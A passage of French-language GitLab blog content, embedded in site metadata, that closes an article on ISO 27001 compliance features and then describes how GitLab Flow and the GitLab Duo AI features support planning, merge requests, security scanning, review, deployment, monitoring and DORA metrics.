défaut](https://docs.gitlab.com/ee/user/project/repository/branches/default.html) d'un dépôt devient automatiquement une branche protégée.\n\n![Branches protégées](https://about.gitlab.com/images/blogimages/2023-08-24-how-gitlab-can-support-your-iso-compliance-journey/protected-branches-settings-within-gitlab.png)\n\nParamètres des branches protégées dans GitLab\n{: .note.text-center}\n\nLes merge requests (MR) sont essentielles dans le cycle de vie du développement logiciel. Les utilisateurs de GitLab peuvent configurer leurs MR de sorte qu'elles doivent être approuvées avant d'être fusionnées. Les utilisateurs peuvent définir le nombre minimum d'approbations requises avant qu'un travail puisse être fusionné dans un projet. Voici quelques exemples de règles que vous pouvez créer :\n* Les utilisateurs disposant d'autorisations spécifiques peuvent toujours approuver le travail.\n* Les [propriétaires du code](https://docs.gitlab.com/ee/user/project/codeowners/index.html) peuvent approuver le travail pour leurs fichiers.\n* Les utilisateurs disposant d'autorisations spécifiques peuvent approuver le travail, [même s'ils ne disposent pas des droits de fusion](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html#merge-request-approval-segregation-of-duties) pour le dépôt.\n* Les utilisateurs disposant d'autorisations spécifiques peuvent être autorisés ou privés de la possibilité de [redéfinir les règles d'approbation d'une merge request spécifique](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html#edit-or-override-merge-request-approval-rules).\n\nComme mentionné précédemment, vous pouvez utiliser les [tickets](https://docs.gitlab.com/ee/user/project/issues/) et les [tâches](https://docs.gitlab.com/ee/user/tasks.html) pour documenter les demandes de modification et collaborer à celles-ci. Les [modèles de description](https://docs.gitlab.com/ee/user/project/description_templates.html) permettent aux utilisateurs d'appliquer systématiquement une description aux tickets ou aux [MR](https://docs.gitlab.com/ee/user/project/merge_requests/index.html). Ces modèles permettent une approche structurée de la demande de modifications adaptée à vos besoins spécifiques.\n\n## En savoir plus\nEn tant que plateforme DevSecOps complète, GitLab vous permet de répondre à un large éventail d'exigences. La version 2022 de la norme ISO a ajouté des contrôles supplémentaires autour du codage sécurisé et de la gestion de la configuration. Ces ajouts prouvent que les organismes de certification se concentrent davantage sur la sécurité des logiciels. En tant que partenaire stratégique, GitLab peut vous aider à vous conformer à la norme ISO 27001 et à développer de meilleurs logiciels plus rapidement.\n\nPour en savoir plus sur ces fonctionnalités, consultez notre bibliothèque de [tutoriels](https://docs.gitlab.com/ee/tutorials/).",[673,675,1809],"2024-07-31",{"slug":3103,"featured":6,"template":683},"how-gitlab-can-support-your-iso-compliance-journey","content:fr-fr:blog:how-gitlab-can-support-your-iso-compliance-journey.yml","How Gitlab Can Support Your Iso Compliance Journey","fr-fr/blog/how-gitlab-can-support-your-iso-compliance-journey.yml","fr-fr/blog/how-gitlab-can-support-your-iso-compliance-journey",{"_path":3109,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3110,"content":3116,"config":3121,"_id":3123,"_type":16,"title":3124,"_source":17,"_file":3125,"_stem":3126,"_extension":20},"/fr-fr/blog/gitlab-flow-duo",{"title":3111,"description":3112,"ogTitle":3111,"ogDescription":3112,"noIndex":6,"ogImage":3113,"ogUrl":3114,"ogSiteName":841,"ogType":842,"canonicalUrls":3114,"schema":3115},"GitLab Flow et GitLab Duo : le combo gagnant pour un workflow puissant","Tirez parti de workflows DevSecOps plus productifs et puissants en combinant GitLab Flow et GitLab Duo au sein de votre cycle de développement logiciel.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662840/Blog/Hero%20Images/ai-experiment-stars.png","https://about.gitlab.com/blog/gitlab-flow-duo","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Flow et GitLab Duo : le combo gagnant pour un workflow puissant\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2023-07-27\",\n      }",{"title":3111,"description":3112,"authors":3117,"heroImage":3113,"date":3118,"body":3119,"category":697,"tags":3120,"updatedDate":1520},[969],"2023-07-27","Adopter une approche DevSecOps nécessite de bien réfléchir au workflow qui sera utilisé. Si cette étape peut parfois représenter un défi de taille, GitLab Flow et GitLab Duo sont là pour vous simplifier la tâche :\n\n__GitLab Flow__ est l'approche préconisée pour accompagner les entreprises dans la mise en œuvre réussie de leurs processus DevSecOps. __GitLab Duo__, quant à lui, offre un [ensemble de fonctionnalités alimentées par l'IA](https://about.gitlab.com/blog/supercharge-productivity-with-gitlab-duo/), intégré à la plateforme DevSecOps de GitLab. Il aide les équipes de développement à coder plus efficacement, optimise le cycle de développement logiciel et garantit une livraison de logiciels plus sécurisés. \n\nEn associant __GitLab Flow__ et __GitLab Duo__, les entreprises peuvent améliorer considérablement l'intégralité de leur workflow, augmenter davantage leur productivité, la fréquence de leurs déploiements, la qualité du code et la sécurité globale, ainsi que la résilience et la disponibilité de l'environnement de production.\n\nDans cet article, découvrez comment GitLab Flow et GitLab Duo peuvent être utilisés conjointement pour aider les entreprises à réussir leur approche [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que DevSecOps ?\").\n\n## Qu'est-ce que GitLab Flow ?\n\n[GitLab Flow](https://about.gitlab.com/fr-fr/topics/version-control/what-is-gitlab-flow/ \"Qu'est-ce que GitLab Flow ? \") est un workflow complet et précis destiné au développement d'applications avec GitLab, notre plateforme DevSecOps alimentée par l'IA offrant une interface utilisateur et un modèle de données uniques. \n\nGitLab Flow est basé sur les meilleures pratiques et leçons tirées des retours d'expérience de nos clients ainsi que de l'utilisation de nos propres fonctionnalités en interne. En outre, GitLab Flow couvre chacune des [étapes du cycle de vie DevSecOps](https://about.gitlab.com/fr-fr/stages-devops-lifecycle/) créant un workflow efficace comprenant deux boucles de rétroaction : \n\n- Une __boucle de rétroaction interne__ qui permet d'examiner et d'évaluer une mise à jour spécifique de l'application pour s'assurer qu'elle répond aux critères de qualité et de sécurité. \n- Une __boucle de rétroaction externe__ qui vise à améliorer l'application dans son ensemble, ainsi que le cycle de développement lui-même. \n\n![Boucles de rétroaction internes et externes de GitLab Flow](https://about.gitlab.com/images/blogimages/gitlab-flow-duo/The-GitLab-Flow-2023-feedback-loops.png)\n\u003Ccenter>Boucles de rétroaction internes et externes de GitLab Flow\u003C/center>\u003Cp>\u003C/p>\n\nGitLab Flow étant constitué de nombreuses étapes, le développement logiciel ne se limite pas à la simple écriture de code. Découvrez ci-dessous chaque étape du processus DevSecOps dans GitLab Flow ainsi que les avantages d'y ajouter l'utilisation de GitLab Duo. \n\n### L'étape de planification\n\nLa planification est la première étape de GitLab Flow et fait partie de la boucle de rétroaction externe. Elle inclut les tickets, les merge requests, les epics, les jalons, les itérations, les sorties de nouvelles versions, les preuves de déploiement et bien plus encore. Découvrez le rôle de ces composants dans GitLab Flow et les avantages de les utiliser en parallèle de GitLab Duo.\n\n![Planification : première étape de GitLab Flow](https://about.gitlab.com/images/blogimages/gitlab-flow-duo/The-GitLab-Flow-2023-planning-portion.png)\n\u003Ccenter>Planification : première étape de GitLab Flow\u003C/center>\u003Cp>\u003C/p>\n\n#### Les tickets \n\nLes tickets sont des espaces collaboratifs dans lesquels les problèmes relatifs au produit sont traités et les nouvelles fonctionnalités sont définies. Lorsque vous créez un ticket, vous commencez par renseigner son titre. Ensuite, vous pouvez utiliser la fonctionnalité de **génération de descriptions de tickets** de GitLab Duo pour automatiquement enrichir le champ de description. Cela vous permet ainsi de gagner un temps précieux et de réduire vos efforts. \n\nComme de nombreuses personnes peuvent être amenées à collaborer sur un même ticket, la fonctionnalité de **résumé des discussions** alimentée par l'IA de GitLab Duo peut résumer des centaines de commentaires laissés sur un ticket en un paragraphe concis. Ainsi, n'importe quelle partie prenante peut rapidement suivre la conversation, rejoindre la discussion et être immédiatement productive.\n\nLes tickets peuvent être organisés et visualisés dans des tableaux de tickets, qui sont des outils de gestion de projet pouvant être utilisés comme tableaux Kanban ou Scrum. Ces tableaux aident les équipes à planifier, à organiser et à visualiser un workflow relatif à un déploiement d'une fonctionnalité ou d'un produit. Différentes catégories de tableaux peuvent être créées et les tickets peuvent être déplacés d'un tableau à l'autre par simple glisser-déposer.\n\n#### Les merge requests\n\nC'est à l'aide des merge requests que les solutions logicielles sont développées. En tant que composants associés à la sortie de nouvelles versions, les tickets et les merge requests permettent d'auditer et de suivre les modifications apportées aux applications par les parties prenantes. Ils sont essentiels au travail des [ingénieurs DevOps](https://about.gitlab.com/fr-fr/topics/devops/what-is-a-devops-platform-engineer/ \"Qu’est-ce qu’un ingénieur de plateforme DevOps ?\") et des ingénieurs de plateforme, aux administrateurs système et aux administrateurs de base de données, tout comme aux ingénieurs sécurité et aux équipes de développement. En outre, les tickets et les merge requests sont des éléments clés du processus de planification pour la sortie des nouvelles versions.\n\nLes merge requests peuvent être créées individuellement ou à partir d'un ticket existant. La création d'une merge request à partir d'un ticket la relie automatiquement à ce dernier, de sorte que lorsqu'elle est fusionnée, le ticket associé est automatiquement fermé. Il est également possible de lier manuellement une merge request à un ticket.\n\n![Une merge request fusionnée ferme le ticket associé](https://about.gitlab.com/images/blogimages/gitlab-flow-duo/mr-with-its-issue.png)\n\u003Ccenter>Une merge request fusionnée ferme le ticket associé\u003C/center>\u003Cp>\u003C/p>\n\nTout comme les tickets, les merge requests peuvent regrouper une longue liste de mises à jour d'une branche de fonctionnalité réalisées par de nombreuses parties prenantes. Les collaborateurs souhaitant comprendre ou se familiariser avec les mises à jour d'une merge request peuvent utiliser la fonctionnalité de **résumé des merge requests** de GitLab Duo pour prendre rapidement connaissance des modifications qui ont été apportées. De plus, ils peuvent tirer parti de la fonctionnalité de **remplissage automatique d'un modèle de merge request** de GitLab Duo, qui s'appuie sur un template de merge request prédéfini, pour remplir automatiquement le contenu des différentes sections. Ces templates de description permettent de standardiser et d'optimiser la collaboration et la communication entre les parties prenantes tout au long du cycle de développement. Et ce processus est encore plus rapide avec GitLab Duo !\n\nLes tickets appartenant au même thème peuvent être regroupés dans des epics pour organiser les tâches à effectuer. Les epics peuvent inclure des tickets enfants et des sous-epics et/ou être liés aux autres epics de l'entreprise. Les itérations permettent de suivre les sprints de travail. Vous pouvez les planifier soit manuellement, soit automatiquement à l'aide des cadences d'itération de GitLab afin de rationaliser les workflows de planification. De plus, elles incluent des [graphiques d'avancement burndown et burnup](https://docs.gitlab.com/ee/user/project/milestones/burndown_and_burnup_charts.html). Les graphiques d'avancement burndown suivent la progression globale d'un projet, tandis que les graphiques d'avancement burnup suivent quotidiennement le nombre total et le poids des tickets ajoutés et terminés dans une timebox donnée.\n\n#### Les jalons\n\nLes jalons permettent aux équipes DevSecOps d'organiser les tickets et les merge requests dans un groupe cohérent, avec une date de début et une échéance facultatives. Ils sont généralement utilisés pour suivre les nouvelles versions et servent également à suivre les tickets et les merge requests au niveau d'un projet ou d'un groupe. Similaires aux itérations, les jalons fournissent des graphiques d'avancement burndown et burnup montrant l'avancement d'un projet.\n\nIls peuvent être associés à la sortie d'une nouvelle fonctionnalité, dont la création automatisée génère de nombreux artefacts, y compris des preuves de déploiement. La preuve de déploiement est un instantané automatisé des données liées à la sortie d'une nouvelle fonctionnalité. En complément des artefacts de test et des jalons associés, les artefacts de job peuvent éventuellement être inclus dans les preuves de déploiement. Cette démarche facilite la vérification par des audits externes des processus internes de développement et de déploiement des nouvelles versions.\n\nLes epics, jalons et itérations peuvent être visualisés depuis la page Roadmaps, qui permet de suivre la progression de la sortie d'une nouvelle fonctionnalité et de rationaliser ce processus. \n\nUne fois l'étape de planification terminée, le travail visant à résoudre un problème ou à développer une nouvelle fonctionnalité peut commencer. C'est là que les merge requests entrent en jeu. Examinons plus en détail ce processus dans GitLab Flow. \n\n### Les merge requests et le push du code\n\n![Merge requests et push du code : deuxième étape de GitLab Flow](https://about.gitlab.com/images/blogimages/gitlab-flow-duo/The-GitLab-Flow-2023-mr-pushing-code-portion.png)\n\u003Ccenter>Merge requests et push du code : deuxième étape de GitLab Flow\u003C/center>\u003Cp>\u003C/p>\n\nLa deuxième étape dans GitLab Flow concerne les merge requests et le push du code. Comme mentionné précédemment, c'est à l'aide des merge requests que les solutions sont développées de façon collaborative par les parties prenantes de l'entreprise. Cette collaboration peut se faire de manière distribuée et asynchrone.\n\nLes participants peuvent tirer parti des fonctionnalités de collaboration, telles que l'ajout de tags, l'intégration de suggestions et de commentaires à la ligne de code, l'ajout de commentaires au sein des merge requests, la revue des fils de discussion et des demandes. Toutes ces fonctionnalités permettent d'améliorer la qualité du code, sa disponibilité, sa fiabilité et ses performances. \n\nLa boucle de rétroaction interne de GitLab Flow intervient directement après la création de la merge request. Elle inclut le push du code et des corrections, l’exécution des scans et des tests, ainsi que la revue à des fins collaboratives et de mise à jour.\n\n#### Les pipelines\n\nLorsque des mises à jour sont appliquées à une branche de fonctionnalité via des merge requests, les pipelines (s'ils sont définis) sont automatiquement exécutés. Ils peuvent comporter plusieurs étapes et jobs servant à compiler, à tester puis à déployer l'application ou le [microservice](https://about.gitlab.com/fr-fr/blog/what-are-the-benefits-of-a-microservices-architecture/ \"Qu’est-ce qu’une architecture de microservices ? \") dans un environnement de revue. Cet environnement permet de vérifier les mises à jour dynamiquement avant qu'elles ne soient fusionnées dans la branche principale. Cette automatisation rationalise les processus de mise à jour et de revue lors du développement de l'application.\n\nPar ailleurs, lorsqu'elles apportent des mises à jour à l'application via des merge requests, les équipes DevSecOps ont accès à diverses fonctionnalités alimentées par l'IA. Lors de l'écriture ou de la mise à jour du code, la fonctionnalité de **[suggestions de code](https://about.gitlab.com/fr-fr/solutions/code-suggestions/ \"Suggestions de code\")** de GitLab Duo propose la prochaine portion de code à écrire en fonction du contexte. Le développeur est alors libre de l'accepter ou de l'ignorer. \n\nLes suggestions de code prennent en charge la génération de code via des prompts ainsi que la complétion de code en temps réel. Elles peuvent améliorer l'expérience de programmation en réduisant les erreurs et en aidant les équipes de développement à écrire du code plus rapidement, contribuant ainsi à améliorer la qualité du code de l'environnement de production. Elles peuvent également accroître la productivité des développeurs et développeuses, ainsi qu'accélérer les itérations et les déploiements.\n\nLorsque les différentes parties prenantes au sein du projet participent au développement ou à la revue d'applications, elles se heurtent parfois à un code peu documenté, complexe, difficile à interpréter ou écrit dans un langage de programmation qui ne leur est pas familier. Avec la fonctionnalité d'**explication du code** de GitLab Duo, le code est traduit en langage naturel permettant à quiconque au sein de l'équipe de le comprendre facilement et de devenir opérationnel rapidement.\n\nDe plus, lorsqu'un développeur ou une développeuse effectue une validation des modifications sur une branche de fonctionnalité, la fonctionnalité de **suggestion de relecteurs** de GitLab Duo utilise la merge request de ces modifications et le graphique de contributions pour suggérer une liste de relecteurs appropriés dans la liste déroulante des relecteurs située dans la barre latérale de la merge request. Cette liste inclut des utilisateurs qui connaissent un aspect spécifique de l'application et semblent les meilleurs candidats pour effectuer une revue des mises à jour. Ainsi, les développeurs n'ont plus besoin de rechercher ni d'identifier eux-mêmes les relecteurs appropriés, ce qui évite les retards et garantit la qualité des revues.\n\nLorsque les développeurs modifient le code, il arrive souvent qu'ils n'incluent pas dans la merge request un commentaire sur les modifications apportées. Fort de ce constat, la fonctionnalité de **résumé des merge requests** de GitLab Duo permet à l'auteur de la merge request d'utiliser l'IA pour générer un commentaire en langage naturel qui résume les modifications apportées au code. Les relecteurs peuvent ainsi mieux comprendre les changements apportés et rationaliser l'ensemble du processus de revue. \n\nLorsque les relecteurs vérifient les modifications apportées au code dans une merge request et qu'ils détectent des anomalies, ils peuvent créer un bloc de revue pouvant inclure de nombreux commentaires impliquant de nombreux fichiers source. Pour aider l'auteur de la merge request à comprendre l'afflux de commentaires fournis par le relecteur, la fonctionnalité de **résumé des revues de code** de GitLab Duo génère un résumé en langage naturel des retours du relecteur. Cela permet de meilleurs transferts entre les auteurs et les relecteurs, tout en simplifiant le processus de revue.\n\nEn outre, lorsque les développeurs ajoutent du nouveau code par le biais d'une merge request, ils peuvent tirer parti de la fonctionnalité de **génération de tests** de GitLab Duo qui utilise l'IA pour générer des tests unitaires afin de vérifier le nouveau code. Cela permet d'augmenter la productivité des équipes de développement, d'améliorer la couverture de test et de détecter les bogues en amont du cycle de développement. Elles peuvent également tirer parti de **[GitLab Duo Chat](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-a-roundup-of-recent-chat-enhancements/ \"GitLab Duo Chat\")**, qui est toujours accessible, afin de refactoriser le code et de générer de la documentation intégrée à la ligne de code (par exemple des docstrings) pour leur code source.\n\nBien que les pipelines s'exécutent sur les mises à jour de branches, ils peuvent inclure des tests et des scans automatisés, ce qui permet d'intégrer la [sécurité en amont](https://about.gitlab.com/fr-fr/topics/ci-cd/shift-left-devops/ \"Shift Left\").\n\n### L'intégration de la sécurité en amont\n\n![L'intégration de la sécurité en amont : troisième étape de GitLab Flow](https://about.gitlab.com/images/blogimages/gitlab-flow-duo/The-GitLab-Flow-2023-shift-sec-left-portion.png)\n\u003Ccenter>L'intégration de la sécurité en amont : troisième étape de GitLab Flow\u003C/center>\u003Cp>\u003C/p>\n\nL'intégration de la sécurité en amont est la troisième étape de GitLab Flow. Elle fait également partie de la boucle de rétroaction interne.\n\nLes ingénieurs DevOps et ingénieurs de plateforme, les administrateurs système et administrateurs de base de données, les développeurs ainsi que d'autres parties prenantes collaborant à une merge request peuvent avoir des inquiétudes concernant la sécurité et la conformité. C'est là que les scans de sécurité et les tests automatisés entrent en jeu. \n\nIl est possible d'inclure les scans de sécurité dans un pipeline via des templates prêts à l'emploi et/ou de les exécuter automatiquement dans un pipeline de merge requests. GitLab fournit un large éventail de scanners et d'analyseurs de sécurité intégrés qui peuvent être utilisés par GitLab Flow. Mais ce n'est pas tout, notre plateforme DevSecOps peut également accueillir des scanners tiers et personnalisés.\n\nGitLab Flow intègre la sécurité en amont dans le pipeline afin de détecter et de résoudre les failles de sécurité le plus tôt possible dans le cycle de développement logiciel. Il est beaucoup plus simple (et moins coûteux) de corriger les vulnérabilités au début du cycle de développement. En effet, une fois qu'une application est en production, une panne imprévue peut avoir des conséquences sur vos utilisateurs, mais aussi vos revenus. Alors, pourquoi ne pas la résoudre avant qu'elle ne se produise ? \n\nVoici une liste des scanners et analyseurs de sécurité intégrés fournis par GitLab : \n- les tests unitaires, \n- l'analyse de l'Infrastructure as Code (IaC), \n- les scanners SAST (test statique de sécurité des applications), \n- l'analyse des dépendances, \n- la détection de secrets, \n- l'analyse des conteneurs, \n- la sécurité des API, \n- les tests d'API web par injection de données aléatoires,\n- les tests à données aléatoires guidés par la couverture de code. \n\nGitLab fournit par ailleurs un grand nombre de tableaux de bord et de rapports de sécurité permettant de gérer et de visualiser les vulnérabilités (liste des dépendances, tableau de bord de sécurité, rapport sur les vulnérabilités et pages de vulnérabilité).\n\nPour aider les développeurs et les ingénieurs sécurité à mieux comprendre les vulnérabilités et à les corriger plus efficacement, la fonctionnalité d'**explication des vulnérabilités** de GitLab Duo fournit des détails sur une vulnérabilité spécifique, en décrivant comment elle peut être exploitée et, surtout, en proposant des recommandations pour la corriger. Les développeurs peuvent également tirer parti de la fonctionnalité de **résolution des vulnérabilités** de GitLab Duo, qui crée automatiquement une merge request incluant les modifications de code permettant de corriger la vulnérabilité. Ces fonctionnalités alimentées par l'IA rationalisent et optimisent le processus de sécurisation et de renforcement de l'application concernée afin de prévenir les vulnérabilités susceptibles d'être exploitées lors de cyberattaques dans l'environnement de production.\n\nOutre les scanners SAST, GitLab met à disposition de ses utilisateurs des scanners DAST (test dynamique de sécurité des applications) qui nécessitent une application en cours d'exécution pour effectuer les tests. Grâce à ces scanners, GitLab peut provisionner automatiquement un environnement DAST en vue de réaliser des scans DAST, puis effectuer un nettoyage complet de toutes les ressources après les tests DAST. Par ailleurs, pour les conteneurs en cours d'exécution, GitLab fournit une fonctionnalité OCS (Operational Container Scanning) qui analyse les images de conteneurs de votre cluster afin de detecter des failles de sécurité.\n\nIl est possible d'exécuter automatiquement les scans mentionnés ci-dessus dans un pipeline de merge requests ou, dans certains cas, de planifier leur exécution via des stratégies d'exécution de scan et d'approbation des merge requests. Ces stratégies peuvent être définies via l'interface utilisateur de GitLab ou des fichiers YAML. Elles sont configurées dans un projet distinct, ce qui permet de séparer les tâches et ainsi de faciliter la réutilisation, la maintenance et la gestion. Les stratégies d'exécution des scans exigent que les scans de sécurité soient exécutés selon un calendrier précis ou avec le pipeline de projets. Ensuite, les stratégies d'approbation des merge requests prennent des mesures basées sur les résultats des scans. Les équipes ou les ingénieurs sécurité peuvent définir ces stratégies pour appliquer les processus de sécurité dans l'ensemble de l'entreprise, et GitLab Flow peut les détecter ou les exploiter lors de son exécution.\n\nPour renforcer la sécurité et la conformité des projets menés au sein de votre entreprise, vous pouvez utiliser des pipelines et des labels de conformité. Ceux-ci peuvent être rendus obligatoires avant l’exécution du pipeline d’un projet. Ainsi, vous avez la certitude que l'ensemble de vos équipes respectent vos normes de sécurité et de conformité. Cela vous permet par ailleurs de protéger vos applications contre les cyberattaques, tout en respectant les normes de conformité gouvernementales et de toujours être préparé pour un éventuel audit.\n\nL'objectif principal de toutes ces recommandations de sécurité de GitLab Flow est de corriger les vulnérabilités dès le début du cycle de développement, plutôt qu'en production, car les corrections peuvent s'avérer lourdes de conséquences en termes de réputation et de chiffre d'affaires.\n\nÀ mesure que les vulnérabilités sont atténuées dans la boucle de rétroaction interne de GitLab Flow et que des mises à jour sont apportées à l'application dans la branche de fonctionnalité, les parties prenantes doivent effectuer une nouvelle revue des mises à jour pour s'assurer de leur application effective et qu'aucune régression n'a été introduite par inadvertance.\n\n### La revue continue\n\n![La revue : quatrième étape de GitLab Flow](https://about.gitlab.com/images/blogimages/gitlab-flow-duo/The-GitLab-Flow-2023-reviewing-features-portion.png)\n\u003Ccenter>La revue de code : quatrième étape de GitLab Flow\u003C/center>\u003Cp>\u003C/p>\n\nLa revue des fonctionnalités, quatrième étape de GitLab Flow, repose sur une revue continue des applications. Cette étape nécessite de déployer l'application provisoire (branche de fonctionnalité) dans un environnement de revue prévu à cet effet afin que les parties prenantes puissent la vérifier en temps réel et fournir des retours constructifs. L'application provisoire peut ensuite être ajustée en continu jusqu'à ce qu'elle soit prête à être fusionnée dans la branche principale. GitLab Flow recommande également le nettoyage de toutes les ressources de l'environnement de revue provisionnées au moment où la merge request est fusionnée dans la branche principale.\n\nCe processus de revue automatisé et itératif fait partie de la boucle de rétroaction interne de GitLab Flow. Comme mentionné ci-dessus, dans la boucle de rétroaction interne, il est recommandé d'utiliser les fonctionnalités de GitLab Duo suivantes : explication du code, suggestions de code, suggestion de relecteurs, résumé des merge requests, remplissage automatique d'un template de merge request, résumé des revues de code, explication des vulnérabilités, résolution des vulnérabilités et analyse des causes profondes. En effet, celles-ci facilitent le transfert entre les auteurs et les relecteurs tout en simplifiant l'ensemble du processus de revue.\n\nLa boucle de rétroaction interne de GitLab Flow prend fin lorsque tous les éléments de revue sont traités et que la merge request est approuvée et fusionnée dans la branche principale, ce qui déclenche le déploiement de l'application en production.\n\n### Le déploiement des applications et de l'infrastructure\n\n![Le déploiement : cinquième étape de GitLab Flow](https://about.gitlab.com/images/blogimages/gitlab-flow-duo/The-GitLab-Flow-2023-deploy-apps-portion.png)\n\u003Ccenter>Le déploiement : cinquième étape de GitLab Flow\u003C/center>\u003Cp>\u003C/p>\n\nEn fonction des besoins de l'entreprise, GitLab Flow recommande la livraison continue ou le déploiement continu. \n- La __livraison continue__ consiste à publier fréquemment du code en déclenchant les déploiements manuellement (par exemple, en production). \n- Le __déploiement continu__ désigne la publication automatisée de code (par exemple, en production) sans intervention humaine. \n\nIntéressons-nous d'abord à la livraison continue.\n\nLorsque vous publiez votre logiciel en utilisant la livraison continue, vous disposez de plusieurs options de déploiement. Vous pouvez établir une fenêtre de gel, puis déployer le logiciel à l'aide de techniques de déploiement avancées, telles que les déploiements canari, bleu/vert, programmés et incrémentiels. Les déploiements incrémentiels réduisent le risque de panne dans l'environnement de production et améliorent l'expérience utilisateur ainsi que la satisfaction client. Les techniques de déploiement avancées améliorent également l'efficacité du processus de développement et de livraison en simplifiant le processus de sortie de nouvelles versions.\n\nLorsque vous publiez votre logiciel en utilisant le déploiement continu, l'intégralité des changements/mises à jour est directement déployée en production. Les approches de livraison progressive telles que les feature flags, qui vous permettent de séparer la livraison de fonctionnalités spécifiques d'un lancement, sont un bon moyen de réduire les risques et de gérer les fonctionnalités à mettre à la disposition des utilisateurs finaux. Les feature flags prennent en charge plusieurs langages de programmation. Ils permettent aux équipes de développement d'expérimenter et d'effectuer des tests contrôlés. Vous pouvez même utiliser des feature flags pour déployer des fonctionnalités auprès d'utilisateurs spécifiques.\n\nBien que GitLab prenne en charge toutes ces approches de déploiement, GitLab Flow permet d'adopter l'approche qui convient le mieux aux équipes et/ou aux besoins spécifiques du projet.\n\n### La surveillance des applications et des processus DevSecOps\n\nUne fois que votre application a été déployée en production, elle doit être surveillée en permanence pour assurer sa stabilité, ses performances et sa disponibilité. En outre, les processus DevSecOps qui s'exécutent sont mesurés en parallèle, ce qui permet d'améliorer leurs performances et leur efficacité. Les fonctionnalités de surveillance sont fournies par GitLab et, en tant que telles, peuvent être exploitées par GitLab Flow.\n\nPour les conteneurs en cours d'exécution, GitLab fournit une fonctionnalité OCS (Operational Container Scanning) qui analyse les images de conteneurs de votre cluster afin de détecter des failles de sécurité. Il est possible d'automatiser ces scans en planifiant leur exécution. Les vulnérabilités détectées sont automatiquement affichées dans un tableau de bord de sécurité. La fonctionnalité OCS peut vous aider à sécuriser vos applications de cluster et à anticiper toute cyberattaque pouvant entraîner des fuites de données privées et même provoquer des pannes inattendues.\n\nLe suivi des erreurs permet aux équipes de développement de détecter et de visualiser les erreurs générées par leur application. Celles-ci sont affichées dans la liste de suivi des erreurs dans GitLab. Le suivi des erreurs permet d'améliorer la disponibilité et les performances de vos applications en détectant et en résolvant rapidement les conditions d'application inattendues.\n\nGitLab peut recevoir des alertes de n'importe quelle source de surveillance, y compris Prometheus, via un récepteur webhook. Dès qu'une alerte arrive, elle est affichée dans la section Alertes de GitLab, où vous pouvez la gérer manuellement. Les alertes peuvent également déclencher automatiquement la création d'incidents, de ChatOps et d'e-mails à des personnes ou des groupes spécifiques. Toutes ces fonctionnalités rationalisent le processus de résolution et de gestion des alertes.\n\nDès qu'un incident est créé suite à la détection de problèmes dans l'environnement de production, il apparaît dans la liste des incidents de GitLab, où vous pouvez le gérer facilement. Vous pouvez gérer un ou plusieurs incidents, les trier, les rechercher, les assigner, définir leurs statuts et même voir leur compte à rebours calculant l'échéance de l'accord de niveau de service (SLA). De plus, vous pouvez créer des équipes d'astreinte et des rotations, des politiques d'escalade, ainsi que configurer la remontée d'alertes et les notifications pour gérer les incidents. Vous pouvez également associer un incident à une alerte afin que celle-ci soit automatiquement résolue une fois que l'incident est clos. Les chronologies d'incident permettent également aux cadres dirigeants et aux utilisateurs externes de voir ce qui s'est passé lors d'un incident et quelles mesures ont été prises pour le résoudre. Toutes ces fonctionnalités rationalisent et accélèrent le processus de gestion et de résolution des incidents.\n\nLes événements d'audit suivent les événements importants, en permettant notamment d'identifier l'intervenant qui a effectué l'action correspondante et le moment de son intervention dans GitLab. Ces événements sont affichés dans la liste des événements d'audit de GitLab et fournissent, entre autres, l'action qui a été effectuée sur un objet, son auteur, ainsi que sa date et son heure d'occurrence.\n\nL'ensemble des listes et tableaux de bord mentionnés ci-dessus permettent d'anticiper les scénarios de non-conformité afin d'éviter les pénalités et de rationaliser les processus d'audit. Pour vos applications en cours d'exécution, ils génèrent des données et des indicateurs qui peuvent être utilisés dans la boucle de rétroaction externe de GitLab Flow afin de vous aider à améliorer et à optimiser vos applications et à réduire le risque de pannes imprévues dans l'environnement de production.\n\n### L'amélioration continue\nGitLab Flow permet de tirer parti des tableaux de bord et indicateurs de performance des processus à chaque étape du développement logiciel. Ces tableaux offrent des informations précieuses pour améliorer en continu votre application et vos performances dans ce domaine. Ils sont générés automatiquement par GitLab et sont toujours accessibles.\n\n### Le tableau de bord d'analyse des flux de valeur\n\nVous pouvez suivre et surveiller le cycle de développement de vos applications via le tableau de bord d'analyse des flux de valeur, où vous pouvez consulter les statistiques d'un projet ou d'un groupe au fil du temps. Ce tableau de bord est personnalisable, mais vous pouvez commencer rapidement en créant une chaîne de valeur à l'aide d'un template par défaut fourni par GitLab. Celui-ci affiche des indicateurs pour chacune des étapes prédéfinies de l'analyse du flux de valeur (ticket, planification, codage, test, revue et préproduction), ainsi qu'un graphique montrant le délai moyen d'achèvement de chaque étape. Il affiche également les indicateurs clés de l'analyse du flux de valeur : délai d'exécution, durée de cycle, nouveaux tickets, validations et déploiements. Vous pouvez utiliser ces indicateurs pour identifier des axes d'amélioration dans les étapes de votre chaîne de valeur.\n\n### Le tableau de bord des métriques DORA\n\nPour visualiser les indicateurs de performance qui mesurent l'efficacité des pratiques de développement et de livraison de votre entreprise, GitLab met à disposition de ses utilisateurs un tableau de bord des métriques [DORA](https://about.gitlab.com/fr-fr/solutions/value-stream-management/dora/) (DevOps Research and Assessment), qui affiche quatre métriques clés : la fréquence de déploiement, le délai d'exécution des modifications, le délai de rétablissement du service et le taux d'échec des modifications. \n\n- La fréquence de déploiement mesure la fréquence à laquelle votre entreprise déploie du code en production ou le publie à destination des utilisateurs finaux. \n- Le délai d'exécution des modifications mesure le temps nécessaire pour passer du code validé au code exécuté avec succès en production. \n- Le délai de rétablissement du service mesure le temps nécessaire pour rétablir les services au niveau où ils étaient auparavant, en cas d'incident. \n- Le taux d'échec des modifications correspond au pourcentage de modifications apportées à l'environnement de production ou aux versions destinées aux utilisateurs, qui ont entraîné une dégradation du service (par exemple, une défaillance ou une panne) et ont ensuite nécessité des mesures correctives (solution corrective d'urgence, restauration d'une version antérieure, correctif). \n\nCes quatre métriques clés mesurent l'efficacité de vos processus actuels et vous donnent la possibilité d'améliorer les facteurs et fonctionnalités 